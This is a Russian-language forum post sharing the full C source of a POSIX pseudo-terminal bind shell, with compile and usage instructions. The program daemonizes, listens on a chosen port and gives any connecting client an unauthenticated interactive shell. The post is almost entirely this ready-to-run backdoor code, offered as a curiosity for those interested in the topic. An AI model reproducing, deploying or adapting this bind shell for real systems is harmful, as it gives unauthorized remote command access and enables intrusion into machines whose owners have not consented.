pty bindshell
нашел исходник своего биндшелла под posix работающего через псевдо-терминальное устройство, что позволяет работать с такими утилитами как mc, more и т.д. а так же работать с "горячими" клавишами как у настоящего терминала - ctrl-z, ctrl-d, ctrl-c... реализация не новая, но кому интересно с этой темой разобраться можно посмотреть:
Код:
/*
coded by ZaCo
compile : gcc -lpthread -lutil bind.c -o bind
exec : ./bind 6669
telnet host 6669
*/
#define NUM 3 //максимальное количество клиентов
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <sys/poll.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <unistd.h>
#include <signal.h>
#include <termios.h>
#include <arpa/inet.h>
#include <sys/ioctl.h>
#define SOCKET int
#define INVALID_SOCKET -1
#define SOCKET_ERROR -1
#define MSG_HEADER "bind shell by ZaCo\r\n"
#define MSG_ERR_NUM_USERS "max users connections\r\n"
#define MSG_BYE "Good bye.\n"
#define BUF_SIZE 1024
SOCKET bot,sock;
int shared[2];
pid_t child_pid;
void set_tattr(int, struct termios *);
void client(void);
void onTermC(int);
void onChild(int);
//устанавливаем свойства устройству по дескрептору fg,
//сохраняя прежние настройки по указателю old
void set_tattr(int fd,struct termios * old)
{
struct termios t;
int res;
res=tcgetattr(fd, old);
t=*old;
if(res<0)return;
//
cfmakeraw(&t);
// t.c_iflag|=IGNCR|ICRNL|IXON;
t.c_iflag|=ICRNL|IXON|IGNCR;
t.c_iflag&=~(IGNBRK|BRKINT|IGNPAR|PARMRK|INPCK|ISTRIP|INLCR|IXOFF|IXANY|IMAXBEL);
//
t.c_oflag|=OPOST|ONLCR;
t.c_oflag&=~(OCRNL|ONOCR|ONLRET);
//t.c_oflag&=~ONOEOT;
t.c_lflag|=ISIG|ICANON|IEXTEN|ECHO|ECHOE|ECHOK|ECHOCTL|ECHOKE;
t.c_lflag&=~(ECHONL|NOFLSH|TOSTOP|ECHOPRT|PENDIN| ECHO|ECHOE|ECHOK|ECHOCTL|ECHOKE);
// t.c_lflag|=ICANON|ISIG;
t.c_cflag|=CS8|CREAD;
t.c_cflag&=~(PARENB|PARODD|HUPCL|CSTOPB|CLOCAL|CRTSCTS);
//
t.c_cc[VINTR]=0x03;
t.c_cc[VSUSP]=0x1A;
t.c_cc[VEOF]=0x04;
t.c_cc[VERASE]=0x08;
t.c_cc[VMIN]=1;
t.c_cc[VTIME]=0;
//
res=tcsetattr(fd,TCSANOW,&t);
if(res<0)return;
}
//обрабатываем клиента, дочерний процесс
void client(void)
{
char buf[BUF_SIZE];
int rb, num, nfds;
struct pollfd dpoll[2];
//для работы с псевдотерминалом
int amaster,aslave;
struct termios t_master,t_slave;
//отправляем banner для рекламы
send(sock,MSG_HEADER,strlen(MSG_HEADER),0);
//устанавливаем все атрибуты
if(openpty(&amaster,&aslave,NULL,NULL,NULL)<0);
set_tattr(amaster,&t_master);
set_tattr(aslave,&t_slave);
//////////////////////
child_pid=fork();
if(child_pid==0)
{
close(amaster);
login_tty(aslave);
//
execlp("sh","sh",NULL);
exit(0);
}
close(aslave);
//////////////////////
dpoll[0].fd=sock;
dpoll[0].events=POLLIN;
dpoll[1].fd=amaster;
dpoll[1].events=POLLIN;
//
nfds=2;
dpoll[0].revents=0;
dpoll[1].revents=0;
//цикл - пока жив клиент и пока можем читать\писать дочернему процессу == он живой :)
int ex=0;
while(!ex && poll(&dpoll[0],nfds,-1)>0)
{
if(dpoll[0].revents&(POLLERR|POLLHUP|POLLNVAL)) ex=1;
else
if(dpoll[0].revents&POLLIN)
{
rb=recv(sock,buf,BUF_SIZE,0);
if( (rb<=0) || (write(amaster,buf,rb)<=0) )ex=1;
}
if(dpoll[1].revents&(POLLERR|POLLHUP|POLLNVAL)) ex=1;
else
if(dpoll[1].revents&POLLIN)
{
rb=read(amaster,buf,BUF_SIZE);
if( (rb<=0) || (send(sock,buf,rb,0)<=0) ) ex=1;
}
dpoll[0].revents=0;
dpoll[1].revents=0;
}
//
kill(child_pid,SIGKILL);//убиваем дочерний процесс шелла
//ставим обратно все свойства устройства
tcsetattr(amaster,TCSANOW,&t_master);
tcsetattr(aslave,TCSANOW,&t_slave);
//
close(amaster);
}
//
void onTermF(int sid)
{
if(bot!=0)//не убиваемся ли повторно
{
shutdown(bot,SHUT_RDWR);
close(bot);
bot=0; //так как сигнал отправляет всей группе
printf(MSG_BYE);
kill(0,SIGTERM);
}
wait(NULL);
exit(0);
}
//
void onTermC(int sid)
{
if(child_pid!=0)
{
kill(child_pid,SIGKILL); //убиваем дочерний процесс
}
signal(sid,onTermC);
}
//
void onChild(int sid)
{
//от зомби
wait(NULL);
}
//
int main(int argc, char * argv[])
{
if(argc!=2)
{
puts("port!");
exit(0);
}
//demon
if(fork()>0)exit(0);
setsid();
//
int port=atoi(argv[1]);
struct sockaddr_in addr,cl_addr;
socklen_t addr_len=sizeof(struct sockaddr);
int num_of_clients=0,rc;
char c,first=1;
int on;
//
pipe(shared);
on=1;
//читаем в асинхронном режиме
ioctl(shared[0],FIONBIO,&on);
child_pid=0;
signal(SIGINT,onTermF);
signal(SIGALRM,onTermF);
signal(SIGQUIT,onTermF);
signal(SIGTERM,onTermF);
signal(SIGCHLD,onChild);
//
if((bot=socket(AF_INET,SOCK_STREAM,0)) && bot!=INVALID_SOCKET)
{
memset(&addr,sizeof(addr),0);
addr.sin_family=AF_INET;
addr.sin_port=htons(port);
addr.sin_addr.s_addr=0;
//
struct linger ling;
ling.l_onoff=1;
ling.l_linger=0;
rc=1;
setsockopt(bot,SOL_SOCKET,SO_LINGER,&ling,sizeof(struct linger));
setsockopt(bot,SOL_SOCKET,SO_REUSEADDR,&rc,sizeof(rc));
//setsockopt(bot,SOL_SOCKET,SO_REUSEPORT,&rc,sizeof(rc));
if(bind(bot,(const struct sockaddr*)&addr,addr_len)!=SOCKET_ERROR)
{
if(listen(bot,SOMAXCONN)!=SOCKET_ERROR)
{
while(1)
{
sock=accept(bot,(struct sockaddr*)&addr,&addr_len);
if(sock!=INVALID_SOCKET)
{
//проверяем количество подключенных клиентов
if(read(shared[0],&c,1)>0) num_of_clients--;
if(num_of_clients>=NUM)
{
send(sock,MSG_ERR_NUM_USERS,strlen(MSG_ERR_NUM_USERS),0);
shutdown(sock,SHUT_WR);
close(sock);
continue;
}
setsockopt(sock,SOL_SOCKET,SO_LINGER,&ling,sizeof(struct linger));
// getpeername(sock,(struct sockaddr*)&cl_addr,&addr_len);
// printf("ip:%s\n",inet_ntoa(cl_addr.sin_addr));
num_of_clients++;
child_pid=fork();
if(child_pid==0)
{
signal(SIGINT,onTermC);
signal(SIGALRM,onTermC);
signal(SIGQUIT,onTermC);
signal(SIGTERM,onTermC);
client();
send(sock,MSG_BYE,strlen(MSG_BYE),0);
shutdown(sock,SHUT_RDWR);
write(shared[1],"\x01",1);//на одного клиента меньше ;)
//
wait(NULL);
exit(0);
}
}
}
}
}
else
{
printf("bind error.\n");
}
shutdown(bot,SHUT_RDWR);
close(bot);
}
else
{
printf("socket error.\n");
}
printf(MSG_BYE);
exit(0);
}
|